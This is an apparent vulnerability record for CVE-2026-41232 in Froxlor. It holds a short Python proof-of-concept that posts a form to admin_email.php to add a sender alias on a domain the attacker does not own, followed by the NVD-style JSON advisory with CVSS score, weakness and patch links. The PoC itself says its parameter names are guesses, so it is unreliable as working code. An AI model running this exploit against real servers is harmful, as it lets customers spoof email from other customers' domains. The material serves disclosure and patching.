CVE-2026-41232

import requests def exploit_froxlor(target_url, session_cookie, victim_domain, attacker_email): """ PoC for CVE-2026-41232 Attempts to add a sender alias for a domain the user does not own. """ headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Exploit payload: Trying to add an alias on victim's domain # The vulnerable endpoint expects email data payload = { "action": "add", "email_part": attacker_email, # Attacker's email or account "domain_part": victim_domain # Victim's domain } # Note: Actual parameter names depend on Froxlor's form implementation # This demonstrates the logic flaw request. response = requests.post(f"{target_url}/admin_email.php", data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent. Check if alias was added via Postfix configuration.") else: print("[-] Request failed.") # Usage # exploit_froxlor("http://target", "sessionid", "victim.com", "[email protected]")

{"cve": {"id": "CVE-2026-41232", "sourceIdentifier": "[email protected]", "published": "2026-04-23T05:16:05.333", "lastModified": "2026-04-27T17:02:02.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Froxlor is open source server administration software. Prior to version 2.3.6, in `EmailSender::add()`, the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to `validateLocalDomainOwnership()`. This causes the ownership check to always pass for non-existent \"domains,\" allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's `sender_login_maps` then authorizes the attacker to send emails as those addresses. Version 2.3.6 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.6", "matchCriteriaId": "9A9C896A-1305-4134-850E-4B44962A6C0A"}]}]}], "references": [{"url": "https://github.com/froxlor/froxlor/commit/77d04badf549d5f8429828f0fbc69bc37a35e07a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-vmjj-qr7v-pxm6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-vmjj-qr7v-pxm6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}